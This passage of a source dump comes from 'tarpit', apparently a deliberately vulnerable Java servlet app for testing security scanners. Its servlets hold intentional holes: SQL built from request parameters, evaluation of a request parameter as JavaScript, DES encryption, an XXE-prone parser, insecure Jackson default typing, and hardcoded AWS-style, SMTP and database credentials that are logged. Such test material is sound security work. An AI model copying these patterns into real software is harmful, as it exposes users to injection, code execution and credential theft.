javax.servlet.ServletException; 6 | import javax.servlet.annotation.WebServlet; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | 11 | @WebServlet(name = "logoutServlet", urlPatterns = {"/logout"}) 12 | public class LogoutServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) 16 | throws ServletException, IOException { 17 | req.logout(); 18 | Principal principal = req.getUserPrincipal(); 19 | if (principal != null) { 20 | throw new RuntimeException("Cannot log out the user"); 21 | } 22 | resp.sendRedirect("/app"); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/OrderProcessor.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import com.fasterxml.jackson.core.JsonGenerationException; 4 | import com.fasterxml.jackson.databind.JsonMappingException; 5 | import com.fasterxml.jackson.databind.ObjectMapper; 6 | import io.shiftleft.tarpit.model.Order; 7 | import java.io.IOException; 8 | import java.io.PrintWriter; 9 | import java.text.ParseException; 10 | import javax.servlet.ServletException; 11 | import javax.servlet.annotation.WebServlet; 12 | import javax.servlet.http.HttpServlet; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.io.IOException; 16 | import java.sql.Connection; 17 | import java.sql.DriverManager; 18 | import java.sql.PreparedStatement; 19 | import java.sql.ResultSet; 20 | import java.sql.SQLException; 21 | import java.sql.Statement; 22 | import java.util.Date; 23 | import io.shiftleft.tarpit.util.EmailService; 24 | 25 | @WebServlet(name = "simpleServlet", urlPatterns = { "/processOrder" }, loadOnStartup = 1) 26 | public class OrderProcessor extends HttpServlet { 27 | 28 | //private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping(); 29 | private static ObjectMapper deserializer = new ObjectMapper(); 30 | private static ObjectMapper serializer = new ObjectMapper(); 31 | private static String uri = "http://mycompany.com"; 32 | private EmailService emailService = new EmailService("smtp.mailtrap.io", 25, "87ba3d9555fae8", "91cb4379af43ed"); 33 | private String fromAddress = "orders@mycompany.com"; 34 | 35 | private Connection connection; 36 | private PreparedStatement preparedStatement; 37 | private ResultSet resultSet; 38 | 39 | 40 | protected void doGet(HttpServletRequest request, HttpServletResponse response) 41 | throws ServletException, IOException { 42 | 43 | PrintWriter out = response.getWriter(); 44 | try { 45 | Order customerOrder = Order.createOrder(); 46 | out.println(serializer.writeValueAsString(customerOrder)); 47 | 48 | getConnection(); 49 | 50 | Statement statement = connection.createStatement(); 51 | statement.executeUpdate("INSERT INTO Order " + 52 | "VALUES ('1234','5678', '04/10/2019', 'PENDING', '04/10/2019', 'Lakeside Drive', 'Santa Clara', 'CA', '95054', 'mike@waltz.com')"); 53 | 54 | String customerEmail = customerOrder.getEmailAddress(); 55 | String subject = "Transactions Status of Order : " + customerOrder.getOrderId(); 56 | String verifyUri = fromAddress + "/order/" + customerOrder.getOrderId(); 57 | String message = " Your Order was successfully processed. For Order status please verify on page : " + verifyUri; 58 | emailService.sendMail(fromAddress, customerEmail, subject, message); 59 | 60 | } catch (JsonGenerationException e) { 61 | e.printStackTrace(); 62 | } catch (JsonMappingException e) { 63 | e.printStackTrace(); 64 | } catch (IOException e) { 65 | e.printStackTrace(); 66 | } catch (ParseException e) { 67 | e.printStackTrace(); 68 | } catch (Exception e) { 69 | e.printStackTrace(); 70 | } 71 | out.close(); 72 | } 73 | 74 | protected void doPost(HttpServletRequest request, HttpServletResponse response) 75 | throws ServletException, IOException { 76 | 77 | PrintWriter out = response.getWriter(); 78 | 79 | try { 80 | // read from file, convert it to user class 81 | Order order = deserializer.readValue(request.getReader(), Order.class); 82 | out.println(order); 83 | } catch (JsonGenerationException e) { 84 | e.printStackTrace(); 85 | } catch (JsonMappingException e) { 86 | e.printStackTrace(); 87 | } catch (IOException e) { 88 | e.printStackTrace(); 89 | } 90 | out.close(); 91 | } 92 | 93 | private void getConnection() throws ClassNotFoundException, SQLException { 94 | Class.forName("com.mysql.jdbc.Driver"); 95 | connection = DriverManager.getConnection("jdbc:mysql://localhost/DBPROD", "admin", "1234"); 96 | } 97 | 98 | } 99 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/OrderStatus.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import io.shiftleft.tarpit.model.Order; 4 | import io.shiftleft.tarpit.model.User; 5 | import java.io.IOException; 6 | import java.sql.Connection; 7 | import java.sql.DriverManager; 8 | import java.sql.PreparedStatement; 9 | import java.sql.ResultSet; 10 | import java.sql.SQLException; 11 | import java.util.Date; 12 | import java.util.logging.Logger; 13 | import javax.crypto.Cipher; 14 | import javax.crypto.KeyGenerator; 15 | import javax.crypto.SecretKey; 16 | import javax.servlet.ServletException; 17 | import javax.servlet.annotation.WebServlet; 18 | import javax.servlet.http.Cookie; 19 | import javax.servlet.http.HttpServlet; 20 | import javax.servlet.http.HttpServletRequest; 21 | import javax.servlet.http.HttpServletResponse; 22 | 23 | @WebServlet(name = "simpleServlet", urlPatterns = {"/getOrderStatus"}, loadOnStartup = 1) 24 | public class OrderStatus extends HttpServlet { 25 | 26 | private static final long serialVersionUID = -3462096228274971485L; 27 | private Connection connection; 28 | private PreparedStatement preparedStatement; 29 | private ResultSet resultSet; 30 | 31 | private final static Logger LOGGER = Logger.getLogger(ServletTarPit.class.getName()); 32 | 33 | @Override 34 | protected void doGet(HttpServletRequest request, HttpServletResponse response) 35 | throws ServletException, IOException { 36 | 37 | String orderId = request.getParameter("orderId"); 38 | 39 | boolean keepOnline = (request.getParameter("keeponline") != null); 40 | 41 | try { 42 | 43 | String theUser = request.getParameter("userId"); 44 | String thePassword = request.getParameter("password"); 45 | request.setAttribute("callback", "/orderStatus.jsp"); 46 | 47 | getServletContext().getRequestDispatcher("/login.jsp").forward(request, response); 48 | 49 | boolean loggedIn = request.isUserInRole("customer"); 50 | 51 | if (loggedIn) { 52 | 53 | getConnection(); 54 | 55 | String sql = "SELECT * FROM ORDER WHERE ORDERID = '" + orderId; 56 | preparedStatement = connection.prepareStatement(sql); 57 | 58 | resultSet = preparedStatement.executeQuery(); 59 | 60 | if (resultSet.next()) { 61 | 62 | orderId = resultSet.getString("login"); 63 | 64 | Order order = new Order(orderId, 65 | resultSet.getString("custId"), 66 | resultSet.getDate("orderDate"), 67 | resultSet.getString("orderStatus"), 68 | resultSet.getDate("shipDate"), 69 | resultSet.getString("creditCardNumber"), 70 | resultSet.getString("street"), 71 | resultSet.getString("city"), 72 | resultSet.getString("state"), 73 | resultSet.getString("zipCode"), 74 | resultSet.getString("emailAddress")); 75 | 76 | Cookie cookie = new Cookie("order", orderId); 77 | cookie.setMaxAge(864000); 78 | cookie.setPath("/"); 79 | response.addCookie(cookie); 80 | 81 | request.setAttribute("orderDetails", order); 82 | 83 | LOGGER.info("Order details are " + order); 84 | 85 | getServletContext().getRequestDispatcher("/dashboard.jsp").forward(request, response); 86 | 87 | } else { 88 | 89 | request.setAttribute("message", "Order does not exist"); 90 | 91 | LOGGER.info(" Order " + orderId + " does not exist "); 92 | 93 | getServletContext().getRequestDispatcher("/error.jsp").forward(request, response); 94 | } 95 | 96 | } else { 97 | 98 | getServletContext().getRequestDispatcher("/login.jsp").forward(request, response); 99 | } 100 | 101 | } catch (Exception e) { 102 | throw new ServletException(e); 103 | } 104 | 105 | 106 | } 107 | 108 | private void getConnection() throws ClassNotFoundException, SQLException { 109 | Class.forName("com.mysql.jdbc.Driver"); 110 | connection = DriverManager.getConnection("jdbc:mysql://localhost/DBPROD", "admin", "1234"); 111 | } 112 | 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/SecuredServlet.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.annotation.WebServlet; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | import java.io.PrintWriter; 10 | import java.security.Principal; 11 | import java.time.LocalDateTime; 12 | 13 | @WebServlet(name = "securedServlet", urlPatterns = {"/"}) 14 | public class SecuredServlet extends HttpServlet { 15 | @Override 16 | protected void doGet(HttpServletRequest req, 17 | HttpServletResponse resp) throws ServletException, IOException { 18 | 19 | Principal principal = req.getUserPrincipal(); 20 | if (principal == null || !req.isUserInRole("employee")) { 21 | LoginHandlerServlet.forwardToLogin(req, resp, null); 22 | return; 23 | } 24 | resp.setContentType("text/html"); 25 | PrintWriter writer = resp.getWriter(); 26 | writer.println("Welcome to the secured page!"); 27 | writer.printf("
User: " + req.getRemoteUser()); 28 | writer.printf("
time: " + LocalDateTime.now()); 29 | writer.println("
Logout"); 30 | } 31 | 32 | @Override 33 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) 34 | throws ServletException, IOException { 35 | doGet(req, resp); 36 | } 37 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/ServletTarPit.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import io.shiftleft.tarpit.model.User; 4 | import io.shiftleft.tarpit.DocumentTarpit; 5 | import java.io.IOException; 6 | 7 | import java.sql.Connection; 8 | import java.sql.DriverManager; 9 | import java.sql.PreparedStatement; 10 | import java.sql.ResultSet; 11 | import java.sql.SQLException; 12 | import java.util.logging.Logger; 13 | import javax.servlet.ServletException; 14 | import javax.servlet.annotation.WebServlet; 15 | import javax.servlet.http.Cookie; 16 | import javax.servlet.http.HttpServlet; 17 | import javax.servlet.http.HttpServletRequest; 18 | import javax.servlet.http.HttpServletResponse; 19 | import javax.crypto.Cipher; 20 | import javax.crypto.KeyGenerator; 21 | import javax.crypto.SecretKey; 22 | import javax.script.ScriptEngineManager; 23 | import javax.script.ScriptEngine; 24 | 25 | 26 | @WebServlet(name = "simpleServlet", urlPatterns = {"/vulns"}, loadOnStartup = 1) 27 | public class ServletTarPit extends HttpServlet { 28 | 29 | private static final long serialVersionUID = -3462096228274971485L; 30 | private Connection connection; 31 | private PreparedStatement preparedStatement; 32 | private ResultSet resultSet; 33 | 34 | 35 | private final static Logger LOGGER = Logger.getLogger(ServletTarPit.class.getName()); 36 | 37 | @Override 38 | protected void doGet(HttpServletRequest request, HttpServletResponse response) 39 | throws ServletException, IOException { 40 | 41 | String ACCESS_KEY_ID = "AKIA2E0A8F3B244C9986"; 42 | String SECRET_KEY = "7CE556A3BC234CC1FF9E8A5C324C0BB70AA21B6D"; 43 | 44 | String txns_dir = System.getProperty("transactions_folder","/rolling/transactions"); 45 | 46 | String login = request.getParameter("login"); 47 | String password = request.getParameter("password"); 48 | String encodedPath = request.getParameter("encodedPath"); 49 | 50 | String xxeDocumentContent = request.getParameter("entityDocument"); 51 | DocumentTarpit.getDocument(xxeDocumentContent); 52 | 53 | boolean keepOnline = (request.getParameter("keeponline") != null); 54 | 55 | LOGGER.info(" AWS Properties are " + ACCESS_KEY_ID + " and " + SECRET_KEY); 56 | LOGGER.info(" Transactions Folder is " + txns_dir); 57 | 58 | try { 59 | 60 | 61 | ScriptEngineManager manager = new ScriptEngineManager(); 62 | ScriptEngine engine = manager.getEngineByName("JavaScript"); 63 | engine.eval(request.getParameter("module")); 64 | 65 | /* FLAW: Insecure cryptographic algorithm (DES) 66 | CWE: 327 Use of Broken or Risky Cryptographic Algorithm */ 67 | Cipher des = Cipher.getInstance("DES"); 68 | SecretKey key = KeyGenerator.getInstance("DES").generateKey(); 69 | des.init(Cipher.ENCRYPT_MODE, key); 70 | 71 | getConnection(); 72 | 73 | String sql = 74 | "SELECT * FROM USER WHERE LOGIN = '" + login + "' AND PASSWORD = '" + password + "'"; 75 | 76 | preparedStatement = connection.prepareStatement(sql); 77 | 78 | resultSet = preparedStatement.executeQuery(); 79 | 80 | if (resultSet.next()) { 81 | 82 | login = resultSet.getString("login"); 83 | password = resultSet.getString("password"); 84 | 85 | User user = new User(login, 86 | resultSet.getString("fname"), 87 | resultSet.getString("lname"), 88 | resultSet.getString("passportnum"), 89 | resultSet.getString("address1"), 90 | resultSet.getString("address2"), 91 | resultSet.getString("zipCode")); 92 | 93 | String creditInfo = resultSet.getString("userCreditCardInfo"); 94 | byte[] cc_enc_str = des.doFinal(creditInfo.getBytes()); 95 | 96 | Cookie cookie = new Cookie("login", login); 97 | cookie.setMaxAge(864000); 98 | cookie.setPath("/"); 99 | response.addCookie(cookie); 100 | 101 | request.setAttribute("user", user.toString()); 102 | request.setAttribute("login", login); 103 | 104 | LOGGER.info(" User " + user + " successfully logged in "); 105 | LOGGER.info(" User " + user + " credit info is " + cc_enc_str); 106 | 107 | getServletContext().getRequestDispatcher("/dashboard.jsp").forward(request, response); 108 | 109 | } else { 110 | request.setAttribute("login", login); 111 | request.setAttribute("password", password); 112 | request.setAttribute("keepOnline", keepOnline); 113 | request.setAttribute("message", "Failed to Sign in. Please verify credentials"); 114 | 115 | LOGGER.info(" UserId " + login + " failed to logged in "); 116 | 117 | getServletContext().getRequestDispatcher("/signIn.jsp").forward(request, response); 118 | } 119 | } catch (Exception e) { 120 | throw new ServletException(e); 121 | } 122 | 123 | } 124 | 125 | private void getConnection() throws ClassNotFoundException, SQLException { 126 | Class.forName("com.mysql.jdbc.Driver"); 127 | connection = DriverManager.getConnection("jdbc:mysql://localhost/DBPROD", "admin", "1234"); 128 | } 129 | 130 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/SessionListener.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import javax.servlet.annotation.WebListener; 4 | import javax.servlet.http.HttpSession; 5 | import javax.servlet.http.HttpSessionEvent; 6 | import javax.servlet.http.HttpSessionListener; 7 | 8 | @WebListener 9 | public class SessionListener implements HttpSessionListener { 10 | @Override 11 | public void sessionCreated(HttpSessionEvent se) { 12 | System.out.println("-- HttpSessionListener#sessionCreated invoked --"); 13 | HttpSession session = se.getSession(); 14 | System.out.println("session id: " + session.getId()); 15 | session.setMaxInactiveInterval(60);//in seconds 16 | } 17 | 18 | @Override 19 | public void sessionDestroyed(HttpSessionEvent se) { 20 | System.out.println("-- HttpSessionListener#sessionDestroyed invoked --"); 21 | } 22 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/annotation/SensitiveBeacon.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target({ElementType.FIELD}) 10 | public @interface SensitiveBeacon { 11 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/annotation/SensitiveRedact.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target({ElementType.FIELD}) 10 | public @interface SensitiveRedact { 11 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/log4j2/pattern/RedactPatternConverter.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.log4j2.pattern; 2 | 3 | import org.apache.logging.log4j.core.LogEvent; 4 | import org.apache.logging.log4j.core.config.plugins.Plugin; 5 | import org.apache.logging.log4j.core.pattern.ConverterKeys; 6 | import org.apache.logging.log4j.core.pattern.LogEventPatternConverter; 7 | 8 | import java.util.regex.Matcher; 9 | import java.util.regex.Pattern; 10 | 11 | 12 | /** 13 | * Should be able to mask the following sensitive information 14 | *

15 | * JWT tokens 16 | * Visa card Numbers 17 | * Visa 13 digit card numbers 18 | * American Express card numbers 19 | * MasterCard card numbers 20 | * DinersClub card numbers 21 | * Discovery card numbers 22 | * JCB 15 digit card numbers 23 | *

24 | * Does not work yet with 25 | * JCB 16 digits card numbers 26 | * Voyager card numbers 27 | * enRoute card numbers 28 | */ 29 | 30 | 31 | @Plugin(name = "RedactPatternConverter", category = "Converter") 32 | @ConverterKeys({"sensitive"}) 33 | public class RedactPatternConverter extends LogEventPatternConverter { 34 | 35 | private static final String CREDIT_CARD_NUMBER_REGEX = "\\b(?:4[ -]*(?:\\d[ -]*){11}(?:(?:\\d[ -]*){3})?\\d|" 36 | + "(?:5[ -]*[1-5](?:[ -]*\\d){2}|(?:2[ -]*){3}[1-9]|(?:2[ -]*){2}[3-9][ -]*" 37 | + "\\d|2[ -]*[3-6](?:[ -]*\\d){2}|2[ -]*7[ -]*[01][ -]*\\d|2[ -]*7[ -]*2[ -]*0)(?:[ -]*" 38 | + "\\d){12}|3[ -]*[47](?:[ -]*\\d){13}|3[ -]*(?:0[ -]*[0-5]|[68][ -]*\\d)(?:[ -]*" 39 | + "\\d){11}|6[ -]*(?:0[ -]*1[ -]*1|5[ -]*\\d[ -]*\\d)(?:[ -]*" 40 | + "\\d){12}|(?:2[ -]*1[ -]*3[ -]*1|1[ -]*8[ -]*0[ -]*0|3[ -]*5(?:[ -]*" 41 | + "\\d){3})(?:[ -]*\\d){11})\\b"; 42 | private static final Pattern CREDIT_CARD_PATTERN = Pattern.compile(CREDIT_CARD_NUMBER_REGEX); 43 | private static final String CREDIT_CARD_NUMBER_MASK = "**hidden cc data***"; 44 | 45 | private static final String JWT_REGEX = "Bearer [A-Za-z0-9\\-\\._~\\+\\/]+=*"; 46 | private static final Pattern JWT_PATTERN = Pattern.compile(JWT_REGEX); 47 | private static final String JWT_REPLACEMENT_MASK = "xxx.xxx.xxx"; 48 | 49 | private static final String CVV_REGEX = "CVV:[0-9]{3}"; 50 | private static final Pattern CVV_PATTERN = Pattern.compile(CVV_REGEX); 51 | private static final String CVV_REPLACEMENT_REGEX = "**hiden cvv**"; 52 | 53 | protected RedactPatternConverter(String name, String style) { 54 | super(name, style); 55 | } 56 | 57 | /** 58 | * as per documentation we need this method. 59 | * 60 | * @param options 61 | * @return RedactPatternConverter 62 | */ 63 | public static RedactPatternConverter newInstance(final String[] options) { 64 | return new RedactPatternConverter("sensitive", Thread.currentThread().getName()); 65 | } 66 | 67 | @Override 68 | public void format(final LogEvent event, final StringBuilder outputMsg) { 69 | String msg = event.getMessage().getFormattedMessage() != null 70 | ? event.getMessage().getFormattedMessage() 71 | : ""; 72 | String maskedMessage; 73 | try { 74 | maskedMessage = redact(msg); 75 | } catch (final Exception e) { 76 | maskedMessage = msg; 77 | // we should log this, as we cannot throw, as extended class does not throws exceptions 78 | } 79 | outputMsg.append(maskedMessage); 80 | } 81 | 82 | /** 83 | * masks the occurrences that match regex's in msg string 84 | * 85 | * @param msg 86 | * @return 87 | */ 88 | private String redact(String msg) { 89 | Matcher matcher; 90 | final StringBuffer buffer = new StringBuffer(); 91 | 92 | matcher = JWT_PATTERN.matcher(msg); 93 | matchToRedact(matcher, buffer, JWT_REPLACEMENT_MASK); 94 | msg = buffer.toString(); 95 | buffer.setLength(0); 96 | 97 | matcher = CREDIT_CARD_PATTERN.matcher(msg); 98 | matchToRedact(matcher, buffer, CREDIT_CARD_NUMBER_MASK); 99 | msg = buffer.toString(); 100 | buffer.setLength(0); 101 | 102 | matcher = CVV_PATTERN.matcher(msg); 103 | matchToRedact(matcher, buffer, CVV_REPLACEMENT_REGEX); 104 | 105 | return buffer.toString(); 106 | } 107 | 108 | /** 109 | * keeps adding the masked strings to msg. 110 | * 111 | * @param matcher 112 | * @param buffer 113 | * @param maskStr 114 | * @return StringBuffer 115 | */ 116 | private StringBuffer matchToRedact(final Matcher matcher, final StringBuffer buffer, final String maskStr) { 117 | while (matcher.find()) { 118 | matcher.appendReplacement(buffer, maskStr); 119 | } 120 | matcher.appendTail(buffer); 121 | return buffer; 122 | } 123 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/model/BaseModel.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.model; 2 | 3 | import io.shiftleft.tarpit.annotation.SensitiveRedact; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.Modifier; 6 | 7 | public class BaseModel { 8 | 9 | @Override 10 | public final String toString() { 11 | 12 | StringBuilder toString = new StringBuilder(); 13 | toString.append(this.getClass().getName()).append("["); 14 | Field[] fields = this.getClass().getDeclaredFields(); 15 | 16 | for (int i = 0; i < fields.length; i++) { 17 | 18 | Field field = fields[i]; 19 | 20 | try { 21 | String name = field.getName(); 22 | Object value; 23 | 24 | if (!Modifier.isPublic(field.getModifiers())) { 25 | field.setAccessible(true); 26 | } 27 | 28 | value = field.isAnnotationPresent(SensitiveRedact.class) 29 | ? getMaskedValue(field.get(this)) : field.get(this); 30 | 31 | toString.append(name).append("=").append(value).append(", "); 32 | } 33 | catch (IllegalArgumentException | IllegalAccessException e) { 34 | } 35 | } 36 | toString = new StringBuilder(toString.toString().replaceAll(",\\s*$", "")); 37 | toString.append("]"); 38 | 39 | return toString.toString(); 40 | } 41 | 42 | /** 43 | * 44 | * @param input 45 | * @return 46 | */ 47 | private String getMaskedValue(Object input) { 48 | 49 | char[] value = input.toString().toCharArray(); 50 | StringBuilder output = new StringBuilder(); 51 | for (int i = 0; i < value.length; i++) { 52 | output.append("+"); 53 | } 54 | return output.toString(); 55 | } 56 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/model/Order.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.model; 2 | 3 | import io.shiftleft.tarpit.annotation.SensitiveBeacon; 4 | import io.shiftleft.tarpit.annotation.SensitiveRedact; 5 | import java.text.ParseException; 6 | import java.text.SimpleDateFormat; 7 | import java.util.Date; 8 | 9 | public class Order { 10 | 11 | private String orderId; 12 | private String custId; 13 | private Date orderDate; 14 | private String orderStatus; 15 | private Date shipDate; 16 | 17 | @SensitiveRedact 18 | private String creditCardNumber; 19 | 20 | @SensitiveBeacon 21 | private String street; 22 | @SensitiveBeacon 23 | private String city; 24 | @SensitiveBeacon 25 | private String state; 26 | @SensitiveBeacon 27 | private String zipCode; 28 | @SensitiveBeacon 29 | private String emailAddress; 30 | 31 | static SimpleDateFormat formatter = new SimpleDateFormat("dd/MM/yyyy"); 32 | 33 | public Order(String orderId, String custId, Date orderDate, String orderStatus, 34 | Date shipDate, String creditCardNumber, String street, String city, String state, 35 | String zipCode, String emailAddress) { 36 | this.orderId = orderId; 37 | this.custId = custId; 38 | this.orderDate = orderDate; 39 | this.orderStatus = orderStatus; 40 | this.shipDate = shipDate; 41 | this.creditCardNumber = creditCardNumber; 42 | this.street = street; 43 | this.city = city; 44 | this.state = state; 45 | this.zipCode = zipCode; 46 | this.emailAddress = emailAddress; 47 | } 48 | 49 | public static Order getDefaultOrder() throws ParseException { 50 | return new Order("1234","5678", formatter.parse("04/10/2019"), "PENDING", formatter.parse(""), "344472003047574", "Lakeside Drive", "Santa Clara", "CA", "95054", "mike@waltz.com"); 51 | } 52 | 53 | public static Order createOrder() throws ParseException { 54 | return new Order("1234","5678", formatter.parse("04/10/2019"), "PENDING", formatter.parse(""), "344472003047574", "Lakeside Drive", "Santa Clara", "CA", "95054", "mike@waltz.com"); 55 | } 56 | 57 | public String getOrderId() { 58 | return orderId; 59 | } 60 | 61 | public void setOrderId(String orderId) { 62 | this.orderId = orderId; 63 | } 64 | 65 | public String getCustId() { 66 | return custId; 67 | } 68 | 69 | public void setCustId(String custId) { 70 | this.custId = custId; 71 | } 72 | 73 | public Date getOrderDate() { 74 | return orderDate; 75 | } 76 | 77 | public void setOrderDate(Date orderDate) { 78 | this.orderDate = orderDate; 79 | } 80 | 81 | public String getOrderStatus() { 82 | return orderStatus; 83 | } 84 | 85 | public void setOrderStatus(String orderStatus) { 86 | this.orderStatus = orderStatus; 87 | } 88 | 89 | public Date getShipDate() { 90 | return shipDate; 91 | } 92 | 93 | public void setShipDate(Date shipDate) { 94 | this.shipDate = shipDate; 95 | } 96 | 97 | public String getStreet() { 98 | return street; 99 | } 100 | 101 | public void setStreet(String street) { 102 | this.street = street; 103 | } 104 | 105 | public String getCity() { 106 | return city; 107 | } 108 | 109 | public void setCity(String city) { 110 | this.city = city; 111 | } 112 | 113 | public String getState() { 114 | return state; 115 | } 116 | 117 | public void setState(String state) { 118 | this.state = state; 119 | } 120 | 121 | public String getZipCode() { 122 | return zipCode; 123 | } 124 | 125 | public void setZipCode(String zipCode) { 126 | this.zipCode = zipCode; 127 | } 128 | 129 | public String getEmailAddress() { 130 | return emailAddress; 131 | } 132 | 133 | public void setEmailAddress(String emailAddress) { this.emailAddress = emailAddress; } 134 | 135 | public String getCreditCardNumber() { 136 | return creditCardNumber; 137 | } 138 | 139 | public void setCreditCardNumber(String creditCardNumber) { 140 | this.creditCardNumber = creditCardNumber; 141 | } 142 | 143 | @Override 144 | public String toString() { 145 | return "Order{" + 146 | "orderId='" + orderId + '\'' + 147 | ", custId='" + custId + '\'' + 148 | ", orderDate=" + orderDate + 149 | ", orderStatus='" + orderStatus + '\'' + 150 | ", shipDate=" + shipDate + 151 | ", creditCardNumber='" + creditCardNumber + '\'' + 152 | ", street='" + street + '\'' + 153 | ", city='" + city + '\'' + 154 | ", state='" + state + '\'' + 155 | ", zipCode='" + zipCode + '\'' + 156 | ", emailAddress='" + emailAddress + '\'' + 157 | '}'; 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/model/UnusedObject.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.model; 2 | 3 | import com.fasterxml.jackson.core.JsonGenerationException; 4 | import com.fasterxml.jackson.databind.JsonMappingException; 5 | import com.fasterxml.jackson.databind.ObjectMapper; 6 | 7 | public class UnusedObject { 8 | private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping(); 9 | private static ObjectMapper serializer = new ObjectMapper(); 10 | private static String uri = "http://mycompany.com"; 11 | private String fromAddress = "orders@mycompany.com"; 12 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/model/User.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.model; 2 | 3 | import java.io.Serializable; 4 | import io.shiftleft.tarpit.annotation.*; 5 | 6 | public class User extends BaseModel implements Serializable { 7 | 8 | @SensitiveBeacon 9 | private String userName; 10 | @SensitiveBeacon 11 | private String firstName; 12 | @SensitiveBeacon 13 | private String lastName; 14 | 15 | @SensitiveRedact 16 | private String passportNumber; 17 | 18 | private String address1; 19 | private String address2; 20 | 21 | @SensitiveRedact 22 | private String zipCode; 23 | 24 | public User(String userName, String firstName, String lastName, String passportNumber, 25 | String address1, String address2, String zipCode) { 26 | this.userName = userName; 27 | this.firstName = firstName; 28 | this.lastName = lastName; 29 | this.passportNumber = passportNumber; 30 | this.address1 = address1; 31 | this.address2 = address2; 32 | this.zipCode = zipCode; 33 | } 34 | 35 | public String getUserName() { 36 | return userName; 37 | } 38 | 39 | public void setUserName(String userName) { 40 | this.userName = userName; 41 | } 42 | 43 | public String getFirstName() { 44 | return firstName; 45 | } 46 | 47 | public void setFirstName(String firstName) { 48 | this.firstName = firstName; 49 | } 50 | 51 | public String getLastName() { 52 | return lastName; 53 | } 54 | 55 | public void setLastName(String lastName) { 56 | this.lastName = lastName; 57 | } 58 | 59 | public String getPassportNumber() { 60 | return passportNumber; 61 | } 62 | 63 | public void setPassportNumber(String passportNumber) { 64 | this.passportNumber = passportNumber; 65 | } 66 | 67 | public String getAddress1() { 68 | return address1; 69 | } 70 | 71 | public void setAddress1(String address1) { 72 | this.address1 = address1; 73 | } 74 | 75 | public String getAddress2() { 76 | return address2; 77 | } 78 | 79 | public void setAddress2(String address2) { 80 | this.address2 = address2; 81 | } 82 | 83 | public String getZipCode() { 84 | return zipCode; 85 | } 86 | 87 | public void setZipCode(String zipCode) { 88 | this.zipCode = zipCode; 89 | } 90 | 91 | 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/util/EmailService.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.util; 2 | 3 | import org.slf4j.Logger; 4 | import org.slf4j.LoggerFactory; 5 | 6 | import java.io.File; 7 | import java.util.Properties; 8 | import javax.mail.*; 9 | import javax.mail.internet.InternetAddress; 10 | import javax.mail.internet.MimeBodyPart; 11 | import javax.mail.internet.MimeMessage; 12 | import javax.mail.internet.MimeMultipart; 13 | 14 | public class EmailService { 15 | 16 | private String host = ""; 17 | private int port = 0; 18 | private String username = ""; 19 | private String password = ""; 20 | 21 | 22 | public EmailService(String host, int port, String username, String password) { 23 | 24 | this.host = host; 25 | this.port = port; 26 | this.username = username; 27 | this.password = password; 28 | } 29 | 30 | public void sendMail(String fromAddress, String toAddress, String subject, String msg) { 31 | 32 | Properties prop = new Properties(); 33 | prop.put("mail.smtp.auth", true); 34 | prop.put("mail.smtp.starttls.enable", "true"); 35 | prop.put("mail.smtp.host", host); 36 | prop.put("mail.smtp.port", port); 37 | prop.put("mail.smtp.ssl.trust", host); 38 | 39 | Session session = Session.getInstance(prop, new Authenticator() { 40 | @Override 41 | protected PasswordAuthentication getPasswordAuthentication() { 42 | return new PasswordAuthentication(username, password); 43 | } 44 | }); 45 | 46 | try { 47 | 48 | Message message = new MimeMessage(session); 49 | message.setFrom(new InternetAddress(fromAddress)); 50 | message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(toAddress)); 51 | message.setSubject(subject); 52 | 53 | MimeBodyPart mimeBodyPart = new MimeBodyPart(); 54 | mimeBodyPart.setContent(msg, "text/html"); 55 | 56 | MimeBodyPart attachmentBodyPart = new 